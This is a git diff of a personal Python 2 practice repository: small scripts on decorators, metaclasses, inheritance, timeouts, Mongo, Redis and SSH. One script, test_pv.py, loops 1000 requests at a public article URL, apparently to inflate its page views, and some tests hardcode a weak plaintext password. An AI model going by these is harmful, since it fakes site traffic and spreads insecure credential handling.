+ started.send(r) + + +# https://pypi.python.org/pypi/blinker +# http://pythonhosted.org/blinker/ +# https://github.com/jek/blinker diff --git a/test/test_breakpoint.py b/test/test_breakpoint.py new file mode 100644 index 0000000..aabc0c5 --- /dev/null +++ b/test/test_breakpoint.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_breakpoint.py +@time: 2017/10/22 下午11:02 +""" + + +class Base(object): + def __init__(self): + self.info = 'Base class' + print '%s init from Base' % self.info + + def show(self): + print '%s show from Base' % self.info + + +class Child(Base): + def __init__(self): + self.info = 'Child class 01' # 子类先赋值再初始化父类, 子类其它方法里使用的这个同名变量是父类中赋的值(非期望,未覆盖) + print '%s init from Child' % self.info + # Base.__init__(self) # 普通继承 + super(Child, self).__init__() # super 继承 + self.info = 'Child class 02' # 先初始化父类子类再赋值, 子类其它方法里使用的这个同名变量是子类中赋的值 + + def show(self): + print '%s show 01 from Child' % self.info + super(Child, self).show() + print '%s show 02 from Child' % self.info + + +if __name__ == '__main__': + child = Child() + child.show() + + +""" +Child class 01 init from Child +Base class init from Base +Child class 02 show 01 from Child +Child class 02 show from Base +Child class 02 show 02 from Child +""" diff --git a/test/test_cpus.py b/test/test_cpus.py new file mode 100644 index 0000000..1c6fda8 --- /dev/null +++ b/test/test_cpus.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_cpus.py +@time: 2017/6/15 下午11:29 +""" + + +import multiprocessing + +bind = "127.0.0.1:8000" + +workers = multiprocessing.cpu_count() * 2 + 1 + + +if __name__ == '__main__': + print workers diff --git a/test/test_file.py b/test/test_file.py index 1159c6d..a7b8f66 100644 --- a/test/test_file.py +++ b/test/test_file.py @@ -37,3 +37,20 @@ if __name__ == '__main__': pass + + +""" +# python 打开文件的模式 +r 以只读模式打开文件 +w 以只写模式打开文件,且先把文件内容清空(truncate the file first)wb 以二进制格式打开一个文件只用于写入。如果该文件已存在则将其覆盖。如果该文件不存在,创建新文件。 +a 以添加模式打开文件,写文件的时候总是写到文件末尾,用seek也无用。打开的文件也是不能读的 +r+ 以读写方式打开文件,文件可读可写,可写到文件的任何位置 +w+ 和r+不同的是,它会truncate the file first +a+ 和r+不同的是,它只能写到文件末尾 + +# 文件对象的方法 +file.closed 返回true如果文件已被关闭,否则返回false。 +file.mode 返回被打开文件的访问模式。 +file.name 返回文件的名称。 +file.softspace 如果用print输出后,必须跟一个空格符,则返回false。否则返回true。 +""" diff --git a/test/test_functool_wraps.py b/test/test_functool_wraps.py new file mode 100644 index 0000000..4e90da9 --- /dev/null +++ b/test/test_functool_wraps.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_functool_wraps.py +@time: 2017-12-26 14:07 +""" + + +from functools import partial + + +def wrap(func): + def call_it(*args, **kwargs): + """wrap func: call_it""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap +def hello(): + """say hello""" + print 'hello world' + + +from functools import update_wrapper + + +def wrap2(func): + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return update_wrapper(call_it, func) + + +@wrap2 +def hello2(): + """test hello""" + print 'hello world2' + + +from functools import wraps + + +def wrap3(func): + @wraps(func) + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap3 +def hello3(): + """test hello 3""" + print 'hello world3' + + +if __name__ == '__main__': + hello() + print 'hello.__name__', hello.__name__ + print 'hello.__doc__', hello.__doc__ + + print + hello2() + print 'hello2.__name__', hello2.__name__ + print 'hello2.__doc__', hello2.__doc__ + + print + hello3() + print 'hello3.__name__', hello3.__name__ + print 'hello3.__doc__', hello3.__doc__ + + +""" +before call +hello world +hello.__name__ call_it +hello.__doc__ wrap func: call_it + +before call +hello world2 +hello2.__name__ hello2 +hello2.__doc__ test hello + +before call +hello world3 +hello3.__name__ hello3 +hello3.__doc__ test hello 3 + +使用 from functools import wraps 修饰过的装饰器, 可以保证原函数的 name 和 doc, 在调试中会起到关键作用 +""" diff --git a/test/test_has_key.py b/test/test_has_key.py new file mode 100644 index 0000000..9ec48dc --- /dev/null +++ b/test/test_has_key.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_has_key.py +@time: 2017/5/27 下午2:13 +""" + + +a = { + 'foo': '1', + 'bar': '2', +} + + +def func(): + print a.has_key('foo') # deprecated + print a.has_key('fob') # deprecated + print 'foo' in a + print 'fob' in a + + +if __name__ == '__main__': + func() diff --git a/test/test_ip.py b/test/test_ip.py new file mode 100644 index 0000000..277198f --- /dev/null +++ b/test/test_ip.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_ip.py +@time: 2018-02-08 18:53 +""" + + +import netaddr + + +def check_allocation_pools(allocation_pools): + print(allocation_pools) + # 开始IP 必须小于 结束IP 校验可用IP数量 + for ip_pool in allocation_pools: + print(ip_pool) + ip_start = netaddr.IPAddress(ip_pool['start']).__int__() + ip_end = netaddr.IPAddress(ip_pool['end']).__int__() + print(ip_start) + print(ip_end) + print(ip_end - ip_start) + if ip_start > ip_end or (ip_end - ip_start) < 2: + print('error') + print('-'*20) + + +if __name__ == '__main__': + allocation_pools_f = [{'start': '192.168.0.1', 'end': '192.168.0.2'}] + allocation_pools_t = [{'start': '192.168.0.1', 'end': '192.168.0.20'}] + check_allocation_pools(allocation_pools_f) + check_allocation_pools(allocation_pools_t) diff --git a/test/test_list_comprehension.py b/test/test_list_comprehension.py new file mode 100644 index 0000000..bd5cef7 --- /dev/null +++ b/test/test_list_comprehension.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_list_comprehension.py +@time: 2017/7/25 下午5:37 +""" + + +def run(): + """ + 列表解析 + {'a': 1, 'c': 3, 'b': 2, 'e': 5, 'd': 4} + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] + [] + [1, 3, 2, 5, 4] # 字典无序 + [1, 2, 3, 4, 5] + {0: 0, 1: 1, 2: 4, 3: 9, 4: 16, 5: 25, 6: 36, 7: 49, 8: 64, 9: 81} + [[0, 0], [1, 1], [2, 4], [3, 9], [4, 16], [5, 25], [6, 36], [7, 49], [8, 64], [9, 81]] + :return: + """ + A0 = dict(zip(('a', 'b', 'c', 'd', 'e'), (1, 2, 3, 4, 5))) + A1 = range(10) + A2 = [i for i in A1 if i in A0] + A3 = [A0[s] for s in A0] + A4 = [i for i in A1 if i in A3] + A5 = {i: i * i for i in A1} + A6 = [[i, i * i] for i in A1] + + print A0 + print A1 + print A2 + print A3 + print A4 + print A5 + print A6 + + +if __name__ == '__main__': + run() + pass diff --git a/test/test_metaclass.py b/test/test_metaclass.py new file mode 100644 index 0000000..27cef1f --- /dev/null +++ b/test/test_metaclass.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_metaclass.py +@time: 2017/10/26 下午3:49 +@desc: 通过编写自定义 ORM 框架, 学习元类 +@link: https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386820064557c69858840b4c48d2b8411bc2ea9099ba000 +""" + + +class Field(object): + def __init__(self, name, column_type): + self.name = name + self.column_type = column_type + + def __str__(self): + return '<%s:%s>' % (self.__class__.__name__, self.name) + + +class StringField(Field): + def __init__(self, name): + super(StringField, self).__init__(name, 'varchar(100)') + + +class IntegerField(Field): + def __init__(self, name): + super(IntegerField, self).__init__(name, 'bigint') + + +class ModelMetaclass(type): + def __new__(cls, name, bases, attrs): + """ + :param cls: 当前准备创建的类的对象(非实例) + :param name: 类的名称 + :param bases: 继承的父类集合 + :param attrs: 类的方法集合 + :return: + """ + print('cls: %s' % cls) + print('name: %r\nbases: %r\nattrs: %r' % (name, bases, attrs)) + + for base in bases: + print('base.__dict__: %r' % base.__dict__) + print('base.__dict__.keys(): %r' % base.__dict__.keys()) + + # 排除掉对 Model 类的修改 + if name == 'Model': + return type.__new__(cls, name, bases, attrs) # 创建类 + # 核心部分: + # 1、动态收集所需类型属性: attrs 中所有 Field 类型的属性 + # 2、动态创建所需类型属性: __table__, __mappings__ + # 3、其它属性和方法保持不变 + mappings = dict() + for k, v in attrs.iteritems(): + if isinstance(v, Field): + print('Found mapping: %s==>%s' % (k, v)) + mappings[k] = v + # 除掉类的所有类属性(避免实例的属性缺失, 意外调用类的属性; 实例属性优先级比类属性高,默认调用实例属性) + for k in mappings.iterkeys(): + attrs.pop(k) + attrs['__table__'] = name.lower() # 假设表名和类名一致 + attrs['__mappings__'] = mappings # 保存属性和列的映射关系 + return type.__new__(cls, name, bases, attrs) # 创建修改后的类 + + +class Model(dict): + # 指示使用 ModelMetaclass 来定制类, 通过 ModelMetaclass.__new__() 动态创建类 + # 因为只有使用者才能根据表的结构定义出对应的类来, 所有的类都只能动态定义 + __metaclass__ = ModelMetaclass + + def __init__(self, **kw): + super(Model, self).__init__(**kw) + + def __getattr__(self, key): + try: + return self[key] + except KeyError: + raise AttributeError(r"'Model' object has no attribute '%s'" % key) + + def __setattr__(self, key, value): + self[key] = value + + def save(self): + fields = [] + params = [] + args = [] + for k, v in self.__mappings__.iteritems(): + fields.append(v.name) + params.append('?') + args.append(getattr(self, k, None)) + sql = 'insert into %s (%s) values (%s)' % (self.__table__, ','.join(fields), ','.join(params)) + print('SQL: %s' % sql) + print('ARGS: %s' % str(args)) + + def delete(self): + pass + + def find(self): + pass + + +def run(): + """ + 测试创建用户类 + :return: + """ + class User(Model): + """ + User Class + Python解释器首先在当前类User的定义中查找 __metaclass__,如果没有找到,就继续在父类Model中查找__metaclass__ + """ + id = IntegerField('id') + name = StringField('username') + email = StringField('email') + password = StringField('password') + + print('User.__dict__: %s' % User.__dict__) + u = User(id=12345, name='Michael', email='test@orm.org', password='my-pwd') + u.save() + + +if __name__ == '__main__': + run() + +""" +类就是一组用来描述如何生成一个对象的代码段 + +type(类名, 父类的元组(针对继承的情况,可以为空),包含属性的字典(名称和值)) + +这里,type 有一种完全不同的能力,它也能动态的创建类。 +type 可以接受一个类的描述作为参数,然后返回一个类。 +根据传入参数的不同,同一个函数拥有两种完全不同的用法是一件很傻的事情,但这在Python中是为了保持向后兼容性 + +元类的本质 +1) 拦截类的创建 +2) 修改类 +3) 返回修改之后的类 + +“元类就是深度的魔法,99%的用户应该根本不必为此操心。 +如果你想搞清楚究竟是否需要用到元类,那么你就不需要它。 +那些实际用到元类的人都非常清楚地知道他们需要做什么,而且根本不需要解释为什么要用元类。” + —— Python界的领袖 Tim Peters +""" diff --git a/test/test_mongo.py b/test/test_mongo.py index 7fb91c8..b347a7b 100644 --- a/test/test_mongo.py +++ b/test/test_mongo.py @@ -6,6 +6,46 @@ sys.path.append('..') from tools.mongo import Mongodb +import time +import calendar +from datetime import datetime, timedelta, date + + +def time_local_to_utc(local_time): + """ + 本地时间转UTC时间 + :param local_time: + :return: + """ + # 字符串处理 + if isinstance(local_time, str) and len(local_time) == 10: + local_time = datetime.strptime(local_time, '%Y-%m-%d') + elif isinstance(local_time, str) and len(local_time) >= 19: + local_time = datetime.strptime(local_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(local_time, datetime) or isinstance(local_time, date)): + local_time = datetime.now() + # 时间转换 + utc_time = local_time + timedelta(seconds=time.timezone) + return utc_time + + +def time_utc_to_local(utc_time): + """ + UTC时间转本地时间 + :param utc_time: + :return: + """ + # 字符串处理 + if isinstance(utc_time, str) and len(utc_time) == 10: + utc_time = datetime.strptime(utc_time, '%Y-%m-%d') + elif isinstance(utc_time, str) and len(utc_time) >= 19: + utc_time = datetime.strptime(utc_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(utc_time, datetime) or isinstance(utc_time, date)): + utc_time = datetime.utcnow() + # 时间转换 + local_time = utc_time - timedelta(seconds=time.timezone) + return local_time + db_config = { 'host': 'localhost', @@ -68,8 +108,28 @@ def test(): print e +def test_02(): + table_name = 'user' + conn = Mongodb(db_config) + print conn.db + print conn.find_one(table_name) + test_doc = { + '_id': 1, + 'id': 1, + 'name': 'admin', + 'create_time': datetime.strptime('2017-07-07 08:00:00', '%Y-%m-%d %H:%M:%S'), + 'create_time_utc': time_local_to_utc('2017-07-07 08:00:00'), + 'create_time_str': '2017-07-07 08:00:00' + } + print conn.remove(table_name) # 清空记录 + print conn.insert(table_name, test_doc) # 插入记录 + print conn.find_one(table_name) + conn.output_rows(table_name) + + if __name__ == '__main__': - test() + # test() + test_02() """ diff --git a/test/test_oop.py b/test/test_oop.py new file mode 100644 index 0000000..55da6ee --- /dev/null +++ b/test/test_oop.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_oop.py +@time: 2017/7/25 下午6:10 +""" + + +class A(object): + def go(self): + print "go A go!" + + def stop(self): + print "stop A stop!" + + def pause(self): + raise Exception("Not Implemented") + + +class B(A): + def go(self): + super(B, self).go() + print "go B go!" + + +class C(A): + def go(self): + super(C, self).go() + print "go C go!" + + def stop(self): + super(C, self).stop() + print "stop C stop!" + + +class D(B, C): + def go(self): + super(D, self).go() + print "go D go!" + + def stop(self): + super(D, self).stop() + print "stop D stop!" + + def pause(self): + print "wait D wait!" + + +class E(B, C): + pass + + +a = A() +b = B() +c = C() +d = D() +e = E() + +# 说明下列代码的输出结果 + +a.go() +b.go() +c.go() +d.go() +e.go() + +a.stop() +b.stop() +c.stop() +d.stop() +e.stop() + +a.pause() +b.pause() +c.pause() +d.pause() +e.pause() + + +if __name__ == '__main__': + pass diff --git a/test/test_paramiko.py b/test/test_paramiko.py new file mode 100644 index 0000000..021f710 --- /dev/null +++ b/test/test_paramiko.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_paramiko.py +@time: 2017/6/16 上午9:11 +""" + +import paramiko + +ip = '192.168.64.216' +username = 'zhanghe' +password = '123456' +port = 22 +# 设置记录日志 +paramiko.util.log_to_file('ssh.log') +# 生成ssh客户端实例 +s = paramiko.SSHClient() +s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +print "Starting" +s.connect(ip, port, username, password) +stdin, stdout, stderr = s.exec_command('free -m') +print stdout.read() +s.close() + +if __name__ == '__main__': + pass diff --git a/test/test_pv.py b/test/test_pv.py new file mode 100644 index 0000000..3914d5b --- /dev/null +++ b/test/test_pv.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_pv.py +@time: 2017/7/27 下午3:21 +""" + + +import requests + +s = requests.session() + +url = 'http://www.ribble.top/article-detials/7' + + +def fk(): + r = s.get(url) + print r.url + + +def run(): + for i in range(1000): + print i, + fk() + +if __name__ == '__main__': + run() diff --git a/test/test_quote.py b/test/test_quote.py new file mode 100644 index 0000000..8bea9c3 --- /dev/null +++ b/test/test_quote.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_quote.py +@time: 2017/7/25 下午4:28 +""" + + +def f(x, l=[]): + """ + 引用测试 + :param x: + :param l: + :return: + """ + print l + for i in range(x): + l.append(i*i) + print l + +f(2) +f(3, [3, 2, 1]) +f(3) + + +def detail(): + """ + 详细过程 + :return: + """ + l_mem = [] + + l = l_mem # the first call + for i in range(2): + l.append(i*i) + + print l # [0, 1] + + l = [3, 2, 1] # the second call + for i in range(3): + l.append(i*i) + + print l # [3, 2, 1, 0, 1, 4] + + l = l_mem # the third call + for i in range(3): + l.append(i*i) + + print l # [0, 1, 0, 1, 4] + + +if __name__ == '__main__': + # detail() + pass diff --git a/test/test_reduce.py b/test/test_reduce.py new file mode 100644 index 0000000..2dbb55a --- /dev/null +++ b/test/test_reduce.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_reduce.py +@time: 2017-12-05 22:04 +""" + +import sys +import json +from functools import reduce + + +def mapif(s, pred=None, f=None): + r = [] + c = 0 + for v in s: + c += 1 + if pred(v): + t = f(v) + else: + t = v + r.append(t) + return r + + +def partition(s, size=None, step=None): + step = step or size + + def pred(e): + i = s.index(e) + n = i % size if size else 0 + return i == n + + def f(e): + i = s.index(e) + n = i % size if size else 0 + start = step * n + end = start + size + return s[start:end] + + p = mapif(s, pred, f) + + # r = [i for i in p if isinstance(i, list) and len(i) > 0] + r = p + print(r) + return r + + +def test(): + partition(range(1, 9), 4) # [[1, 2, 3, 4], [5, 6, 7, 8]] + partition(range(1, 9), 4, 2) # [[1, 2, 3, 4], [3, 4, 5, 6], [5, 6, 7, 8], [7, 8]] + partition(range(1, 9), 4, 5) # [[1, 2, 3, 4], [6, 7, 8]] + + +if __name__ == '__main__': + test() diff --git a/test/test_reflect.py b/test/test_reflect.py new file mode 100644 index 0000000..117d2b3 --- /dev/null +++ b/test/test_reflect.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_reflect.py +@time: 2018-07-27 14:07 +""" + + +# 假设有以下结构的包 +""" +├── abcd +│   ├── __init__.py +│   ├── __init__.pyc +│   ├── ff.py +│   └── ff.pyc +""" + +# ff.py +""" +#!/usr/bin/env python +# encoding: utf-8 + +class Gg(object): + def __init__(self): + pass + + def cc(self): + return 1 +""" + +s = 'abcd.ff' + + +# 方式一 +# c = __import__(s) + +# print(c) +# print(type(c)) +# +# print('') +# print(c.ff.Gg) +# print(getattr(getattr(c, 'ff'), 'Gg')) +# print(c.ff.Gg == getattr(c.ff, 'Gg')) +# +# print('') +# print(c.ff.Gg().cc) +# print(c.ff.Gg().cc()) + +# 方式二 +c = __import__(s, fromlist=True) + +print(c) +print(type(c)) + +print('') +print(c.Gg) +print(getattr(c, 'Gg')) +print(c.Gg == getattr(c, 'Gg')) + +print('') +print(c.Gg().cc) +print(c.Gg().cc()) + + +# https://www.cnblogs.com/yyyg/p/5554111.html diff --git a/test/test_system.py b/test/test_system.py index 0bfbf23..908611c 100644 --- a/test/test_system.py +++ b/test/test_system.py @@ -6,6 +6,7 @@ import os +import commands def test_memory_usage(): @@ -42,7 +43,8 @@ def test_get_local_ip(): """ 获取本地ip地址 """ - cmd = "LC_ALL=C ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'" + # cmd = "LC_ALL=C ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'" + cmd = "ifconfig" print cmd # result = os.system(cmd) result = os.popen(cmd).read() @@ -53,9 +55,19 @@ def test_get_local_ip(): return ip_list +def test_commands(): + """ + 获取状态和回显 + :return: + """ + status, output = commands.getstatusoutput('ifconfig') + print status, output + + if __name__ == '__main__': # test_memory_usage() - test_get_local_ip() + # test_get_local_ip() + test_commands() """ 测试结果: diff --git a/test/test_timeout.py b/test/test_timeout.py new file mode 100644 index 0000000..76edfec --- /dev/null +++ b/test/test_timeout.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: DDDD.py +@time: 2017/6/6 下午1:54 +""" + +import time +# import ipdb +import inspect + +import signal + + +# Define signal handler function +def myHandler(signum, frame): + print("Now, it's the time") + print signum, frame + # ipdb.set_trace() + inspect.getframeinfo(frame) + raise Exception('Function TimeOut!') + + +def with_time_out(s=10): + """ + 函数超时装饰器 + :param s: + :return: + """ + signal.signal(signal.SIGALRM, myHandler) + signal.alarm(s) + + def decorator(func): + def wrapper(*args, **kw): + return func(*args, **kw) + return wrapper + return decorator + + +def set_timeout(): + signal.signal(signal.SIGALRM, myHandler) + signal.alarm(1) + + +@with_time_out(1) +def a(): + print 'a' + b() + + +def b(): + time.sleep(10) + print 'b' + + +# # register signal.SIGALRM's handler +# signal.signal(signal.SIGALRM, myHandler) +# signal.alarm(2) +# while True: +# # time.sleep(3) +# try: +# a() +# except Exception as e: +# print 'get err:', e.message +# # print('not yet') + + +try: + a() +except Exception as e: + print e diff --git a/test/test_wrap.py b/test/test_wrap.py new file mode 100644 index 0000000..6eb243e --- /dev/null +++ b/test/test_wrap.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_wrap.py +@time: 2017/7/28 下午2:14 +""" + +from functools import wraps + + +def singleton(func): + @wraps(func) + def getinstance(*args, **kw): + back_func = func(*args, **kw) + + return back_func + + +@singleton +class MyClass(object): + a = 1 + + +def time_log(func): + """ + 装饰器 + :param func: + :return: + """ + def wrapper(*args, **kw): + func_name = func.__name__ + start_time = time.time() + print '方法%s开始时间:%s' % (func_name, time.ctime()) + back_func = func(*args, **kw) + end_time = time.time() + run_time = end_time - start_time + print '方法%s结束时间:%s' % (func_name, time.ctime()) + print '方法%s运行时间:%0.2fS' % (func_name, run_time) + return back_func + return wrapper + + +if __name__ == '__main__': + pass diff --git a/test/test_wrapper.py b/test/test_wrapper.py new file mode 100644 index 0000000..566ad00 --- /dev/null +++ b/test/test_wrapper.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_wrapper.py +@time: 2017/8/5 下午7:57 +""" + + +def w1(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w1' + return back_func + return wrapper + + +def w2(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w2' + return back_func + return wrapper + + +def w3(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w3' + return back_func + return wrapper + + +@w1 +@w2 +@w3 +def func1(): + return 1 + + +@w1 +@w2 +@w3 +def func2(): + return 2 + + +@w1 +@w2 +@w3 +def func3(): + return 3 + + +@w1 +@w2 +@w3 +def fuck(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'fuck' + return back_func + return wrapper + + +@fuck +def test(): + return 'test' + + +if __name__ == '__main__': + # print func1() + # print func2() + # print func3() + # print test() + pass diff --git a/test/test_zip.py b/test/test_zip.py new file mode 100644 index 0000000..566c29a --- /dev/null +++ b/test/test_zip.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_zip.py +@time: 2017/10/10 上午9:26 +""" + + +def func(): + user_ids = [None, u'2', u'3', None] + session_keys = ['111', '222', '333', '444'] + s = dict(zip(user_ids, session_keys)) + print s + print map(lambda x: int(x) if x else 0, user_ids) + + +if __name__ == '__main__': + func() diff --git a/test/tree.py b/test/tree.py index bbda1fc..2b41e05 100644 --- a/test/tree.py +++ b/test/tree.py @@ -22,7 +22,7 @@ def tree(): return defaultdict(tree) -if __name__ == '__main__': +def test_users(): users = tree() users['jack_1']['jack_2_1']['jack_3_1'] = {} users['jack_1']['jack_2_1']['jack_3_2'] = {} @@ -49,3 +49,61 @@ def tree(): # 第三层(users孙节点的key) print [i for i in users['jack_1']['jack_2_1']] + + +l = [ + {'u': 4, 'p': 1}, + {'u': 10, 'p': 1}, + {'u': 5, 'p': 1}, + {'u': 6, 'p': 2}, + {'u': 7, 'p': 2}, + {'u': 8, 'p': 3}, + {'u': 9, 'p': 3}, + {'u': 11, 'p': 3}, + {'u': 12, 'p': 3}, + {'u': 13, 'p': 5}, + {'u': 14, 'p': 6}, + {'u': 15, 'p': 10}, + {'u': 17, 'p': 10}, + {'u': 19, 'p': 10}, + {'u': 20, 'p': 15}, + {'u': 21, 'p': 15}, + {'u': 22, 'p': 17}, + {'u': 23, 'p': 22}, +] + + +def get_child_users(uid): + """ + 获取子节点 + :param uid: + :return: + """ + r = [] + for i in l: + if i['p'] == uid: + r.append(i['u']) + return r + + +def test_team(uid): + """ + 测试 + :return: + """ + team = tree() + child_users = get_child_users(uid) + for uid1 in child_users: + team[uid1] = {} + child_users2 = get_child_users(uid1) + for uid2 in child_users2: + team[uid1][uid2] = {} + child_users3 = get_child_users(uid2) + for uid3 in child_users3: + team[uid1][uid2][uid3] = {} + print json.dumps(team, indent=4) + + +if __name__ == '__main__': + # test_users() + test_team(1) diff --git a/tools/convert.py b/tools/convert.py index 4f31fa3..74743d6 100644 --- a/tools/convert.py +++ b/tools/convert.py @@ -25,6 +25,10 @@ def test_unescape(): # unicode编码后的汉字的解析 str_xx = '加入到"我的书目选单"中' str_xx = '\xe5\xbd\x93\xe5\x89\x8d\xe5\xb7\xb2\xe8\xbe\xbe\xe5\x88\xb0\xe6\x8a\x93\xe5\x8f\x96\xe9\x85\x8d\xe7\xbd\xae\xe7\x9a\x84\xe6\x9c\x80\xe5\xa4\xa7\xe9\xa1\xb5\xe7\xa0\x81' + str_xx = '\xe9\xaa\x8c\xe8\xaf\x81\xe7\xa0\x81\xe8\xbe\x93\xe5\x85\xa5\xe9\x94\x99\xe8\xaf\xaf, \xe8\xaf\xb7\xe9\x87\x8d\xe6\x96\xb0\xe8\xbe\x93\xe5\x85\xa5\xef\xbc\x81' + str_xx = '\xe6\x9c\xaa\xe7\x9f\xa5\xe8\xae\xbf\xe9\x97\xae\xe6\x9d\xa5\xe6\xba\x90' + str_xx = u'</p><p>帮企业控制采购成本,提升市场竞争力</p></div>' + str_xx = u'最新博彩白菜大全,2018博彩白菜大全,最新博彩娱乐网址,博彩最新网站大全,博彩最新网站大全,博彩最新优惠' from HTMLParser import HTMLParser h = HTMLParser() print h.unescape(str_xx) @@ -75,11 +79,11 @@ def test(): print [hex(i).lstrip('0x').zfill(2) for i in range(0, 256)] if __name__ == "__main__": - test() - print system_to_decimal('000000001b2025f6', 16) - print system_to_decimal('0001000100010001', 2) + # test() + # print system_to_decimal('000000001b2025f6', 16) + # print system_to_decimal('0001000100010001', 2) test_unescape() - test_unicode() + # test_unicode() """ diff --git a/tools/curl.py b/tools/curl.py index d805160..1de53d4 100644 --- a/tools/curl.py +++ b/tools/curl.py @@ -84,7 +84,7 @@ def with_cookie(url): """ 保存请求页面结果 -$ url -o page.html http://www.linuxidc.com +$ curl -o page.html http://www.linuxidc.com 通过代理访问 $ curl -x 123.45.67.89:1080 -o page.html http://www.linuxidc.com 上传文件 diff --git a/tools/date.py b/tools/date.py index ee2466d..a126fca 100644 --- a/tools/date.py +++ b/tools/date.py @@ -203,4 +203,16 @@ def test(): time模块的官方文档 https://docs.python.org/2/library/time.html + +模拟 http response header Date 时间格式: + +格林威治时间 +In [4]: time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) +Out[4]: 'Mon, 11 Dec 2017 12:04:25 GMT' + +本地时区时间 +In [5]: time.strftime("%a, %d %b %Y %H:%M:%S %Z") +Out[5]: 'Mon, 11 Dec 2017 20:04:45 CST' + + """ \ No newline at end of file diff --git a/tools/ip.py b/tools/ip.py index 359246d..7283c13 100644 --- a/tools/ip.py +++ b/tools/ip.py @@ -2,6 +2,26 @@ __author__ = 'zhanghe' +import socket + + +def get_host_ip(): + """ + 通过 UDP 获取本机 IP + 在 shell 中可以一行调用,获取到本机IP + python -c "import socket;print([(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])" + :return: + """ + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect(('8.8.8.8', 80)) + ip = s.getsockname()[0] + finally: + s.close() + + return ip + + def get_local_ip_list(): """ 获取本地ip地址 @@ -43,4 +63,5 @@ def check_local_ip(ip): if __name__ == '__main__': - print get_local_ip_list() + print(get_local_ip_list()) + print(get_host_ip()) diff --git a/tools/redis_pub_sub.py b/tools/redis_pub_sub.py index 55a98f3..0a98873 100644 --- a/tools/redis_pub_sub.py +++ b/tools/redis_pub_sub.py @@ -79,26 +79,28 @@ def sub_not_loop(self, k): def test_pub(): - q = RedisPubSub('test:aa') - q.pub('hh', '123') + q = RedisPubSub('test:aa', password='123456') + q.pub('hh', '123') # 字符串 + q.pub('hh', {'a': False}) # 字典 + q.pub('hh', json.dumps({'a': False})) # JSON def test_sub(): - q = RedisPubSub('test:aa') + q = RedisPubSub('test:aa', password='123456') r = q.sub('hh') for i in r: print i def test_p_sub(): - q = RedisPubSub('test:*') + q = RedisPubSub('test:*', password='123456') r = q.p_sub('hh') for i in r: print i def test_sub_not_loop(): - q = RedisPubSub('test') + q = RedisPubSub('test:aa', password='123456') r = q.sub_not_loop('hh') print r